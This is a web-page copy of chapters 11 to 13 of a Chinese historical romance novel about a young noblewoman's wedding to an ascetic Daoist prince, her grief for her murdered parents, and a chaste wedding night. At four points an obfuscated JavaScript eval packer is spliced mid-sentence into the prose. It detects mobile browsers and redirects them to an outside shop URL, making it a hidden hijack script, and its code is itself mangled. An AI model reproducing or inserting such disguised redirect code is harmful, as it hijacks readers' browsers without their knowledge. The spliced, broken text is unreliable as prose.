陆鸣鹤画技实在精湛,姜奕安喜欢得紧,便将画收在了嫁妆箱,准备等婚后挂在房中。 因是皇家赐婚,仁国公府也并没怎么繁忙,只是离大婚还剩三日时,姜奕安瞧见巍峨的府门口,已完全被绯红占据。 她才生出几分自己要成婚的实感来。 四月二十一,大婚前一日,全福人宁王妃来了。 宁王妃身材娇小,颇为雍容富态,四十几岁的妇人了,却依然天真爱笑,拉着姜奕安的手夸个不停,一口一个弟妹叫得亲热极了。 “我听我那不成器的儿子怀蒙提过弟妹,说弟妹马球打得极好,骑射更是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659098|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子中的翘楚。”宁王妃一脸赞赏,道,“年轻女孩活泼爱笑些才好呢,若是豆蔻年华少女都老气横秋,那活着还有什么意趣呢?” 宁王世子李怀蒙与姜奕安是青梅竹马的至交好友,只是他年满十六之后便去闯荡江湖了,常日不在盛京城,故而见面便少了许多。 姜奕宛却觉得不好意思,道:“我这妹妹就是个皮猴子,被我娇惯坏了,日后是宗妇了,我这心里也忐忑,怕她哪里做的不合适,倒惹人笑话,还要劳烦宁王妃多提点提点。” “日后咱们都是一家人了,二娘子虽是我弟妹,但年纪与我孩儿一般大,我怎能不喜欢疼惜她呢。”宁王妃又叮嘱道,“日后,弟妹若有困难,尽管来寻大嫂便是。” “你放心,九弟虽然性子冷淡些,但人品贵重,脾气甚好,而且护短得紧,想必不用我来,九弟就直接帮你将麻烦解决了。” 三人愈聊愈投机,竟在仁国公府中整整一日,待用过晚膳,宁王妃还与姜奕安踢了会毽子,只是她体力不太好,只踢了一会便告饶,不过高兴得很,道:“好弟妹,日后我可想去你府上寻你玩,你可别嫌我烦啊。” 姜奕安笑道:“王妃来陪我,我可巴不得呢,只怕我若请得勤了,王妃就嫌我烦了。” 宁王妃被逗得咯咯笑,恋恋不舍地同姜奕安道别。 时间一晃,便来到了大婚前一日。 姜奕安当了一天姜奕宛的小尾巴,忙里忙外一整日,用过晚膳后,姜奕安便将姐姐拽进了自己的泥融院,硬要与她同塌而眠。 姜奕安很怕孤单,每隔三五日就要跑去姐姐院子里睡一次,除了她生病外,姐姐几乎很少来她的院子陪她睡。 明日妹妹就要嫁人了,就算姜奕安不提,姜奕宛也是要与她同住的。 姐妹二人沐浴过后,姜奕安本急着上榻歇息,却被姜奕宛拦住了。 姜奕宛端坐在桌案前,示意姜奕安坐下后,便拿出了一本册子,向她细细交代嫁妆。 “如今府中只你我二人,我将七成都给了你做嫁妆,那些铺面、庄子都有信得过的掌柜打理,你不必忧心,只是这些银钱,你心中得有些数,莫要花起来没个节制。” 姜奕安瞧了瞧银票上的数字,急忙推拒道:“姐姐,我不需要这么多的。” 姜奕宛又给她推了回去,坚定道:“你听我说,姐姐身上是有诰命的,每年俸禄都能结余不少,如今姐姐留的傍身钱足够安享晚年了。” “姐姐是长辈,长者赐,不可辞。” 姜奕安眼眶湿湿的,便不再推辞,向姐姐道谢。 总归她与宸王一拍两散的时候能拿到好些财产,到时候回仁国公府,她的不就是姐姐的吗…… 姜奕宛直接将那嫁妆册子和一沓银票直接塞进了拂冬的手中,拂冬接过后收起来,将姜奕宛向她使眼色,便退出了房中。 姜奕宛又悄悄翻出一本册子来,脸色有些发红,迟疑了许久,才悄声道:“明晚洞房花烛夜,女子要经历这一遭的。” “你自己先看看,若有不明白的再问我。” 姜奕宛将册子往姜奕安怀中一塞,便自顾自上了榻,小声道:“看完了便来睡吧。” 姜奕安接过后认真地看了起来,这图画得栩栩如生、活色生香,只是线条粗陋,不太好看。 她也是看过不少话本的人,洞房花烛大概是怎么回事,她也了解一二,第一次的时候女子都会有些痛,以后才能得些趣。 姜奕安也好奇过有多么痛,是什么趣,不过一想到自己要嫁的人,姜奕安顿时放下心来。 她肯定不用担心这个问题,因为宸王他得清修。 这事,他不行。 11. 第 11 章 姜奕安早就想好了,和李长昀做不成恩爱夫妻,做好友还是可以的,她本身就有好小郎君好友啊。 相处起来应该差别不大…… 姜奕安看罢后,便胡乱塞进自己的妆箱之中,吹灭了蜡烛,小心翼翼地上了榻,绕到了里侧躺下,紧紧贴着姐姐柔软的身子。 姜奕宛由着姜奕安抱她,爱怜地伸手拂过她的发梢,忍不住红了眼眶。 当初父母死得凄惨,妹妹悲痛欲绝,生了一场大病,险些没挺过来,那时她自己面临父母俱亡、丈夫新寡,悲痛不比妹妹少。 可她只能强撑着。 这九年来,她将妹妹从满心哀痛的病弱孩童养成积极阳光的强健女郎,她不舍看妹妹嫁人…… 尤其还是嫁给宸王…… 姜奕宛嘱咐道:“安娘,等你成婚后可要收敛些脾气,莫要为所欲为,不能再像之前那样一门心思跑出去玩了,多在家安安分分呆着,对宸王也要恭敬些规矩些。” “这些话你可能不爱听,但姐姐是为了你好,才叮嘱你这些的……” 说着说着,姜奕安忍不住落泪了。 若父亲母亲还在,她们仁国公府位高权重、尊荣无比,定能给妹妹挑一个可心的夫君,何至于今日…… 姜奕宛这般想着,便将自己的想法说了出来,便见姜奕安的脸色白了几分。 姜奕宛立刻噤声。 提到父母,沉默在姐妹二人之中蔓延,姜奕安眸光不似方才那般晶亮,垂下头向姐姐怀中拱了拱,道:“姐姐早些歇息吧,明日天不亮便要起呢……” “好。”姜奕宛应了一声,揽过了姜奕安的肩膀。 姜奕安满脑子都是方才姐姐所说的“若父亲母亲还在”,感觉心脏突然裂成了两半。 她缓缓睁开双眸,一片昏暗的虚空将她淹没,直直插入了她心脏的缝隙之中。 九年前,先定王李长晖谋反,逼迫先帝下让位诏书,其亲母先明皇后早将朝中重臣家眷诓骗进宫,众臣面对亲眷性命威胁,竟无人敢站出来斥责乱臣贼子,反而要认谋逆之人为天下之主。 除了先仁国公,礼部尚书姜佑善,她们姐妹二人的父亲…… 父亲一人站了出来,于金銮殿之上慷慨激昂痛斥先定王之罪,并誓死忠于先帝,誓不与乱臣贼子同流合污。 先定王被激怒了,一剑刺穿了母亲的身体,当时的她被姐姐紧紧抱着捂住眼睛,但她还能记得那股血腥味,让她遍体生寒,忍不住想吐。 可那是母亲的血,是温柔的母亲,是永远对她笑的母亲,永远宠着她的母亲,她不能吐…… 若母亲还在,今夜给她看避火图、向她交代嫁妆、搂着她安息的,必定是母亲。 而当时的父亲目眦尽裂,撞死在了金銮殿的柱子上,以身证道。 若父亲还在…… 姜奕安眸光黯淡了许多,闭上了双目,往姐姐怀中钻了钻。 老天虽待她不公,让她年幼痛失双亲,可老天还待她不薄,让她还有姐姐疼。 从明日起,她的人生就要开启新篇章了。 希望老天能待她和姐姐好一些…… …… 这夜,姜奕安一直难以安眠,迷迷糊糊之间梦到了母亲。 母亲的模样,一如九年前那般温和柔美,笑着向她招手,用香香的手绢给她揩着额上的汗渍,又将她搂在怀中,柔声安慰着她。 可姜奕安听不到母亲说的话。 “娘亲,你说什么,能不能大声些。” 母亲依旧是笑着,红唇一张一开一合,姜奕安依旧什么也听不见。 姜奕安急得直哭,呜咽着抱着母亲道:“娘亲,我好久没听过你的声音了,你大声些好不好,我好想听听你的声音啊。” 母亲仍在笑着说话,捧着她的脸颊,在她额上轻轻一吻,可姜奕安什么也感觉不到,只能眼睁睁看着母亲起身,离自己越来越远。 姜奕安疯了一般向前跑,像小时候一般伸出双臂,一副要抱抱的样子,在母亲身后追逐着大喊道:“娘亲,我明日要嫁人了,你再陪陪我好不好。” “娘亲,娘亲,你回头啊!” 母亲却没有再回头。 一片刺眼的光亮袭来,姜奕安猛然间惊醒,眼前是熟悉的桃红帐子,中秋买来的兔儿灯还在轻轻晃着。 母亲已许久没入梦了,而且和从前一样,母亲说的话自己永远听不见…… 是因为自己儿时淘气不听话,母亲在惩罚她吗…… 姜奕安伸手揩去眼角的泪水,在床榻上醒了好一会神,直到拂冬催促,才缓缓起身。 宫中内务府来的喜娘也已经候着了,因是亲王大婚,姜奕安应按品着装,内里是绯红锦袍,外面是绛紫霞帔,俱是金线绣的百鸟朝凤,头上的凤冠刚一压上,姜奕安感觉自己已经不堪重负了。 恭王世子妃,正是李怀茵的母亲,带着李怀茵和许家表姐少沅亲自来添妆,姜奕安十分惊喜,眼圈有些发红。 恭王世子妃向来喜欢姜奕安,拉着她的手说了好一会话,全福人宁王妃也在一旁时不时说两句,倒让姜奕安无暇紧张了。 很快便到了吉时,姜奕安被盖上盖头,送出了闺房,在正堂准备拜别亲人。 正堂桌案之上摆放的,是姜奕安父母的牌位,姜奕宛坐在一旁,眸中盈满了泪水,一脸不舍地望着姜奕安。 姜奕安眼前是红彤彤一片,但她知道自己面前的是什么,抿了抿唇,忍不住落下泪来,但仍是弯下双膝,重重叩首…… 姜奕宛亲自将姜奕安扶了起来,揩去了眼角的泪水,从拂春手中拿过幕蓠戴在了头上,道:“来,姐姐送你出门。” 接着,便弯下身子,将姜奕安背在了身上。 姜奕安的眼泪忽得涌了下来。 仁国公府世代单传,她们姐妹二人五服内没有兄弟,舅家远在关外也早已断了往来,故而没有男子能背姜奕安出嫁。 当年姐姐出嫁时,是父亲姜佑善背出门的。 可现在轮到姜奕安出嫁时,她却没有父亲了。 想到父亲,姜奕安忍不住抽噎了一下,紧紧咬住了唇,姜奕宛身子微颤,但仍背得很稳,一边向府门口走,一边柔声道:“记得小时候,母亲身子不好,父亲又严厉,你懒得走路了,就总求着姐姐背你。” “还好现在你虽长大了,但姐姐还有力气,能背得动你。” “到了宸王府,你要好好的,若是他待你不好,也不必容忍,只管回来告诉姐姐。” “家里还有姐姐在。” 姜奕安眼前泪水模糊,双臂紧搂着姐姐的脖子,道:“姐姐放心,我会经常回来陪你的。” 众女眷见姐姐亲自背着妹妹出了仁国公府的大门,无不动容垂泪,来到府门口,见姜奕安的几位郎君好友聚在一起,帮着小厮一起放起了鞭炮。 陆鸣鹤今日穿着宝蓝直裰,脸上笑意温和,压抑住了那一丝酸涩之意,和几位好友一起目送着姜奕安出阁。 他将自己画的那副小像珍藏在荷包之中,此时他摸了摸怀中,感受到荷包的存在,长舒了一口气…… 府门口迎亲的队伍巍峨壮观,颇显皇家威仪,为首的李长昀坐在自己那匹枣红汗血宝马背上,见姐姐背着妹妹出府,眸光微颤,急忙翻身下马,迎了上去。 李长昀今日穿的是绯红四爪蟒袍,与他往常只着素色衣衫的习惯完全不同,头戴紫金冠,面容白皙,剑眉星目,轮廓方正,终于显现出皇亲国戚的华贵和威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659099|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严来。 眼前戴着幕蓠的女子在他面前停下,还未行礼,他便恭敬一揖,道:“长姐。” 他从未想过仁国公府会是这般光景,竟要守寡的姐姐亲自背小妹出嫁。 他身为宸王,陛下亲皇叔,本身是不必称姜奕宛长姐的,可姜奕宛守寡多年、品行端正、贤名远播,又独自抚养幼妹成人,在盛京城中颇受尊崇。 他也很是敬重…… 幕蓠后的姜奕宛笑了,道:“小妹是我在这世上最心爱之人,今日交给殿下,还望殿下日后珍之重之。” 姜奕安闻言,不禁攥紧了拳头。 过了良久,姜奕安听到了李长昀轻轻应了一声“是”。 姜奕安长舒了一口气,还好他给了姐姐这个面子。 姜奕安被送上了马车,还依依不舍地拉着姐姐的衣袖,姜奕宛轻轻拍了拍她的手,递给她一块绯红的手帕,道:“去吧,姐姐在呢。” 马车行进,喜乐奏响,姜奕安悄悄撩起盖头一角,将紧紧握在手中的帕子拿到了眼前,便见那帕子上一对鸳鸯戏水,针脚细密、活灵活现,一看便知是女红精湛的姐姐亲自绣的。 姜奕安的泪珠砸在了帕子上,洇湿了那对鸳鸯。 姐姐是父亲亲自教导长大,自小便规矩守礼,颇守妇德,被赐婚给了素味平生之人,一声不吭便嫁了,成婚三年夫君惨死,便甘心为他守寡了九年。 姜奕安心里明白,姐姐是个不敢反抗、也不会反抗之人…… 姐夫还在时,姐姐回娘家时皆是说一切都好,姜奕安那时能品出姐姐从未向家人说出口的那些愁绪,可她那时年纪尚小,却分辨不出那时为何。 如今细细想来,姐夫待姐姐客气有余,亲热不足,成婚三年也无子嗣,便也明白了几分。 姐姐为了仁国公府的名声,为这段并不美满的婚姻蹉跎了十几年的青春…… 现在姐姐送她鸳鸯的手帕,可见姐姐心中所愿,是夫妻美满和顺,能弥补姐姐婚姻的遗憾。 可是姐姐,她嫁给了一个清心寡欲的修道之人…… 姜奕安突然有些害怕了,她怕自己六年之后按与宸王的约定归家,会让姐姐崩溃…… 姜奕安攥紧了手帕,任由眼泪砸在自己的手背上。 这一辈子,唯一愧对的就是姐姐。 可是姐姐,我没办法完成你的心愿了,等到六年后我自由了,就带着你去天涯海角、逍遥自在…… 皇家迎亲队伍穿过盛京城的大街小巷,往来百姓皆驻足观看,瞧见为首的宸王,皆叹息不已。 “这般风姿俊朗、才华横溢的九皇叔,怎的就走了修道这条路呢……” “瞧着吧,这世上英雄难过美人关,说不定哪日就动了凡心也未可知。” “动凡心?我看,动反心还差不多呢……” “你可别胡说,仔细你的脑袋……” 李长昀神色淡漠,目光直直地望向前方,并未在意周围百姓的议论声。 待迎亲队伍在宸王府门口停下,李长昀也下了马,迟疑了一瞬,便转而迈向马车,向正欲下马车的姜奕安伸出了手。 姜奕安垂下头,正好能瞧见那只骨节分明的大手,拇指上还套着一只木戒,显得手更白了。 姜奕安并未迟疑,便将手搭了上去。 她的手柔若无骨、柔软滑嫩,只是李长昀手指不经意拂过她的手背,却感受到些许湿意。 李长昀眉心微动,脚步迟疑,回首望向她,却只见盖头,不见真容。 李长昀轻叹了一声,从喜娘手中接过红绸、放在手心,直接用绸布裹住了姜奕安的小手,擦去了她手背那湿漉漉的印记,又将红绸塞进了她手心,道: “莫怕,抓好。” 12. 第 12 章 丝滑的红绸在姜奕安手背划过,姜奕安听罢他的话,便乖乖抓住了。 他略一施力,姜奕安便跟在他的身后,用毕生最安静的状态走过了这段路。 耳边是鞭炮铺天盖地的响动,姜奕安忍不住缩了缩脖子,只觉得这宸王府大得离谱,怎的走了这么久…… 姜奕安仔细瞧着脚下的路,终于见到了台阶和门槛,她心中一喜,想来是终于不用再走了。 姜奕安坐在了床榻上,手中的红绸被抽走,喜娘在一旁唱喏吉祥话,一柄玉如意掀起了姜奕安盖头的一角。 屋中烛火燃燃,甚是明亮,姜奕安抬眸看向眼前人,只见李长昀紫金冠耀眼夺目、绯红衣光彩照人,比他着那素白衣衫时更俊朗尊贵了。 只是他唇角虽含着似笑非笑的意味,但眸光清冷,一如从前,只在掀开盖头的那一刹那眸光微颤,待与姜奕安四目相对时,便恢复了往常那副冷淡的目光。 喜娘道:“请宸王、宸王妃饮合卺酒。” 两个陌生婢女举着酒壶和酒盅向前,李长昀转头看向喜娘,道:“不知喜娘如何称呼?” 喜娘向二人行礼后,道:“奴婢翠嬷嬷,从内务府调来,亲自伺候宸王妃。” 翠嬷嬷约莫四十岁的年纪,看起来端方持重、恭敬有礼。 李长昀笑了笑,道:“本王一直修道,已多年不饮酒,若此时破戒只怕对真人不敬,至于王妃……” 李长昀扭头看向姜奕安,只见她上了妆后容色比往常姝丽更甚,如同一朵娇艳的春桃,不仅眼角发红,那白皙的脸蛋上也泛着红晕,一如她醉酒那日。 李长昀微微一顿,便继续道:“王妃年纪尚小,饮酒伤身,还请翠嬷嬷将酒换成茶。” 李长昀唇角笑意更深,只望着翠嬷嬷,目不斜视地伸手推开了眼前的酒盅。 姜奕安双手交叠在膝上,垂着头,也不去接,一副乖顺的模样。 想来李长昀是想到自己醉酒那日的精彩表现,害怕自己又撒酒疯。 不仅他怕,她也怕啊,好不容易和李长昀建立起良好的契约关系,她不能把人得罪了…… 翠嬷嬷却并未坚持,只笑着道:“奴婢遵命。”又向那两个婢女道,“碧澄,红药,去换了茶水来。” 二人应是,很快茶水换来后,李长昀和姜奕安先后取了一杯,胳膊交叠,一饮而尽。 姜奕安又闻到他身上那股味道了。 淡淡的紫檀香气混着青松。 只是宸王府一路走来并未闻到这种香气,也不知他是从哪里沾染上的…… 待翠嬷嬷高喊了一声“礼成”,姜奕安才回过神来,待李长昀目光转向她时,向他露出了一个笑容。 李长昀微微侧过头,道:“前厅还在宴请宾客,本王须得露面,你传膳先用着,若困了便先睡,不必等本王。” 姜奕安脸上的笑容加深了许多,道:“一切听从殿下安排。” 真是乖巧得不像本人了…… 李长昀轻咳了两声,便起身出了内室,姜奕安翘着头往那边瞅,听到他关门的动静,正要欢喜地伸懒腰,便听拂冬又咳了一声。 姜奕安立刻又坐好,目光掠过屋中的翠嬷嬷、碧澄和红药,三人不愧是从内务府出来的,规矩极好,向姜奕安行礼后,便自行退下去传膳。 还好三位宫中出来的没想着压她一头。 待三位离去了,姜奕安这才长长地伸了个懒腰,正要往榻上躺,却想到自己头上还有凤冠,便一边敲着腰背,一边道:“好拂冬,快来帮我把这头上的凤冠拆了,再换件衣裳。” 姜奕安更衣、用膳、沐浴过后,已经入夜了,她坐在床榻上看话本,却觉得浑身不舒服。 这拔步床上摆着瓷枕,但她向来只睡荞麦枕,而且没有倚靠的大迎枕,她只能将龙凤呈祥的绯红喜被卷了卷,垫在了背后,又将从家中带来的海棠花被褥裹在了身上,这才舒服了些。 这话本是她最喜欢的《前朝公主风流情史》,杜撰了前朝一共四十余位公主的爱情故事,总共十册,姜奕安来来回回看了三四遍不止,还津津有味乐此不疲,可如今却一页也看不进去。 真不如自己的闺房舒坦。 此时,外间的门突然开了,姜奕安听到拂冬在外间唤了一声“殿下”。 “本王先去沐浴,不必伺候。” 姜奕安心中一松,急忙唤来拂冬,道:“他还是未饮酒吗?” 拂冬摇了摇头,道:“奴婢瞧着是没有。” 姜奕安松了一口气,环视了一下床榻,硬就不说,还很窄,只有她府中床榻的一半大。 姜奕安有些发愁,新婚之夜虽不用行周公之礼,但总要同塌而眠做给外人看吧,便叹息了一声,道:“把从府中带来的荞麦枕取来吧。” 她可以和李长昀在一张床榻上各睡各的。 湢室的水声停了,过了良久,便听到愈来愈近的脚步声,李长昀的身影在屏风后出现,姜奕安将话本子随手放在榻边的绣墩上,坐得板正了些。 李长昀只着素白中衣,发髻上一丝装饰也无,脸上无红晕,眸光仍清明,一看便知未饮酒,见到床榻上的姜奕安时,脚步微顿,便一步步走上前,道:“怎还未睡?” 李长昀目光掠过绣墩上的书册,倒有些惊讶。 没想到她竟颇爱看书,睡前还手不释卷…… 李长昀轻轻笑了,一边拿起书册,一边正想夸她两句,却在看清书名后沉默了,眉心骤然拧起。 手中书册突然被抽走了,只见姜奕安一脸尴尬地笑了笑,道:“打发时间随便看看而已。” 那本书册被塞进了拂冬的手中,姜奕安一边向她使眼色,还用唇语说了两句,似是“藏起来”。 李长昀噎了噎,将手收回去,轻咳了两声,只道:“夜里看书伤眼,日后还是……” 李长昀目光落在姜奕安乖巧又尴尬的小脸上,顿了顿又叹道:“罢了。” 又不指望她考科举,管那么多作甚…… 姜奕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659100|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安实在觉得尴尬,便起身将自己方才倚靠的喜被铺开,又轻轻往床里面挪了挪,抱紧了自己睡惯了的海棠花被褥,道:“时候不早了,殿下快安寝吧。” 李长昀见姜奕安半张脸都藏在被褥里,露在外面的脸蛋还红扑扑的,手指摩挲了一下木戒,便走到床榻前,将大红喜被抱起往地上铺,道:“你放心,本王会给足你体面,回门前三日你我同寝,日后本王会经常在道观住着,每逢初一、十五定会回来,与你同寝。” “本王不与你一同睡榻,睡地上即可。” 姜奕安又挪向了床边,怀中紧抱着被褥,却将脑袋伸了出来,道:“如今虽快入夏了,但地上还是凉,怕是要生病的。” 李长昀并未抬眸,一边铺被褥一边道:“本王向来畏热喜寒,无妨。” 姜奕安咬了咬唇,想起那日自己在宫中抄书睡着时不成规矩的样子,愈发觉得李长昀是怕她睡姿不佳,会打扰他安眠。 李长昀已将被褥铺好,刚一躺下,便见姜奕安那张小脸垂着望向自己,道:“殿下放心,我经常和别人同塌而眠,我很有经验的。” 李长昀心沉了一下。 姜奕安小脸红扑扑的,被褥往下滑到了肩头,露出了天鹅般修长白皙的脖颈,发丝垂下了几缕,拂过了他的李长昀的手背。 李长昀急忙将手挪开,又飞快转头,伸手抚灭了内室的蜡烛,道:“快睡吧,明日还要早起。” 姜奕安陷入了一片昏暗,只见李长昀已安稳躺下,便慢吞吞地躺在了床榻上,一边调整着被褥的位置,一边嘟囔着道:“殿下可别不信,我睡姿真的很规矩的,和我同塌而眠过的都这么说,她们都很喜欢和我一起睡的。” 李长昀心又沉了一下。 “本王信你。” 李长昀话毕,闭了闭目,紧抿着唇,只希望姜奕安别再这般肆无忌惮地说下去了。 她睡姿如何,和谁同塌而眠了,与他何干? 姜奕安感觉李长昀的声音有些古怪,好像沙哑许多,不似平日里那般低沉温和,好不容易将被褥调整到了最为舒适的位置,转头看了看床下,却只能看到一个背对着自己的轮廓。 他是不是生气了? 姜奕安觉得这样不好,他对自己已经够迁就了,她人在屋檐下,不能把人惹生气了。 可她到底哪里惹到他了? 那地上又冷又硬,睡起来怎比得上床榻舒服,还很容易感风寒呢。 明明自己有劝他上床一起睡的呀,还生什么气…… 姜奕安只觉得男人的心思难懂,躺下后裹紧了被褥,继续道:“王爷是不是从不与人同塌而眠啊?我这么说是不是冒犯王爷了?” “其实两个人睡比一个人睡有趣多了,不如王爷今晚和我一起试试?” “总要有第一次的嘛……” “不必说了。本王这便上榻。” 李长昀打断了喋喋不休的姜奕安,长长地吐出一口气,伸手捏了捏眉心,直接坐了起来…… 13. 第 13 章 姜奕安躺在床榻里侧一动不敢动。 李长昀规规矩矩面向榻外,侧躺在她身侧,他身量高大,如一座山一般隔绝了姜奕安的视线,而且周身散发出一种请勿近身的气息…… 二人中间,一条泾渭分明的“楚河汉界”。 怎么上榻了,还不太高兴呢? 姜奕安实在是搞不懂他…… 不过姜奕安也懒得管他,起身将被褥的四角都掖到身下,翻了个身,便闭上了眼睛。 可是这床榻好硬啊! 她为了舒服,可是给家中的拔步床垫了两层厚厚的被褥,躺在上面如被云朵包裹般轻柔舒适,而且靠墙的位置还摆满了柔软的迎枕,防止她一不小心滚到墙边碰到冷硬的墙壁。 哪像现在这拔步床,就如那墙壁一般冷硬。 她已经开始想家了…… 等明日得再多找几床被褥和几个迎枕,把这拔步床好生拾掇一番。 虽然床榻不舒服,但姜奕安昨夜未睡好,今日又起得早,很快睡意来袭,便安稳地睡着了。 可李长昀仍十分清醒,睡意全无。 榻上骤然多了一个人,还是个温香软玉的小娘子,他极为不适应…… 方才实在是想让她莫要再继续“睡不睡”的话题了,索性遂了她的意、上了这张榻。 李长昀缓缓平复着起伏不定的胸腔,默念着《太平经》,终于平静了些,可是身旁那一小团存在感实在太强。 她呼吸声很轻很浅,但在静谧的内室,落在李长昀耳中,却吵闹非常…… 而且,她应是用了桃花制成的皂角,才散发着丝丝缕缕的桃花香气。 还源源不断地散发着热意…… 李长昀的听觉、嗅觉和触觉都被占据着,本觉得浑身燥热,难以入眠,但夜夜折磨自己的头痛竟然消失了。 李长昀缓缓睁开双目,转头看向身旁的小娘子。 他夜视能力极好,内室虽昏暗,却也能瞧见她缩成一团,白皙的小脸正朝向自己,莹润的手指紧扒着被褥,睡得正香呢…… 李长昀又闭上双目,预想中的头痛没有来临,五感虽被同榻的小娘子占据,但默念着经书,他竟不知不觉睡了过去…… 朝日的阳光透过窗户的缝隙慢慢渗透进来,突然敲门声响起。 只听翠嬷嬷的声音响起,道:“殿下,辰时了。” 李长昀向来浅眠,立刻惊醒睁开双目。 他已养成了每日晨起卯初便自然醒的习惯,一个时辰念经修心,雷打不动,可今日,竟一觉睡到了辰时…… 李长昀扭头,便见床榻上的小小一团一动不动,也没有一丝声响。 睡得正香呢。 李长昀立刻起身披上外袍,将被褥折好,此时外间的门开了,先是翠嬷嬷进来,目光掠过榻下的被褥,并未说什么,拂冬则跟在后面,向李长昀行礼后,便轻手轻脚拉开床帐,道:“娘子,该起身啦。” 那小小一团只抖动了一下。 李长昀唇角抽了抽,不欲再待下去,便道:“本王去书房梳洗用膳,在前厅等着王妃。” 跟在后面的碧澄和红药行礼应是。 拂冬知道姜奕安的性子,继续道:“娘子,今日新婚第一日,不能再睡啦。” 被褥终于慢吞吞掀开了,姜奕安发丝有些杂乱,小脸红扑扑的,眼睛还没睁开呢,就上前抱住了拂冬的胳膊,道:“好拂冬,扶我一把。” 翠嬷嬷在一旁咳了咳。 姜奕安这才猛然惊醒,揉了揉眼睛才看清翠嬷嬷那张冷峻的面孔,立刻乖觉,下榻的速度快了许多,只是坐在妆台前时,整个人完全提不起精神。 拂冬和翠嬷嬷二人开始给姜奕安上妆,碧澄和红药则是在拾掇床榻,一时之间,内室之中无比安静,落针可闻。 待碧澄和红药将早膳摆放在了桌案上,刚上完妆的姜奕安便打了个哈欠,向她们几人招手道:“快来一起用膳吧。”话毕,便起身坐到了桌案前。 拂冬随着刚要坐,却见翠嬷嬷、碧澄和红药三人直直地站着,便又不好意思地站了起来。 姜奕安微微一顿,将筷子放下,道:“我这里没有那么多规矩,你们随着一起用膳便是。” 三人行礼,异口同声道:“奴婢不敢。” 姜奕安却不觉得有什么,只道:“你们既然被拨来伺候我,那就按我的规矩来。”接着,便拉着拂冬坐下,又起身将翠嬷嬷推到了自己身旁的位置,摁着她的肩头坐下。 翠嬷嬷抿了抿唇,终究是没说什么,便向碧澄、红药使了眼色,两个小姑娘才战战兢兢地坐下。 姜奕安这才开始用膳,先夹了一个包子,一咬发现是香菇油菜馅的,而且十分寡淡,完全不符合她的口味。 姜奕安微微蹙眉,强忍着吃完后,又夹了一个豆沙包,一咬发现完全不甜。 而且,咸菜不咸,糕点不甜,偌大一个宸王府,难道连糖和盐都没有吗…… 好歹牛乳还算是香醇,姜奕安吃了整整两碗,这才算是勉强果腹了。 等回门那日,她得将府中的厨子带回来一个才行…… 姜奕安这般想着,又回到了妆台前,今日她需着王妃冠服,比起昨日也清减不到哪里去,待姜奕安换好衣装,她感觉自己已迈不动步子了。 好不容易一步步挪到了宸王府门口,便见到了同样身着冠服的李长昀。 李长昀身边站着山羊胡护卫春雷,还有一个年轻些的叫夏原,另一个年老的名为张瞻,都向姜奕安恭敬地行礼。 尤其是张瞻,看向姜奕安的神色十分欣喜,姜奕安向他回了一个大大的笑容,张瞻目光都柔和了许多。 只是姜奕安见到李长昀,目光在他眼下淡淡的乌青停留了一瞬,才想起来今日一早并未瞧见他,而且自己身旁的绯红喜被好像叠得十分方正。 看来他起得不是一般早…… 只是这样,会不会在翠嬷嬷她们面前露馅啊…… 李长昀目光只掠过姜奕安一瞬,只道:“先上马车吧。” 二人先后上了马车,分别坐在了两个角落,中间隔着桌案,一如昨夜的楚河汉界。 待马车缓缓行进,姜奕安便清了清嗓子,小心翼翼道:“王爷,今日一早,翠嬷嬷她们进了内室瞧见咱们的床榻,可有说什么吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659101|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李长昀一夜未眠,正在闭目养神,听她问话也未睁眼,只道:“什么意思?” “就是,昨夜不应该是洞房花烛夜吗……”姜奕安认真打量着李长昀,微蹙着眉心,道,“翠嬷嬷她们是太皇太后派来的人,她们若看到我们的床榻这般干净整洁,肯定就知道昨夜什么都没发生啦。” “那太皇太后不就知道,我们在哄骗她吗……” 李长昀感觉喉咙微哽,缓缓睁开双目,转头看向姜奕安,猝不及防便瞧见她那杏仁般的眸子,定定地望着自己。 她的眼眸不掺一丝杂质,既无羞耻之意,也无造作之感,当真是在忧心假扮夫妻被太皇太后发现。 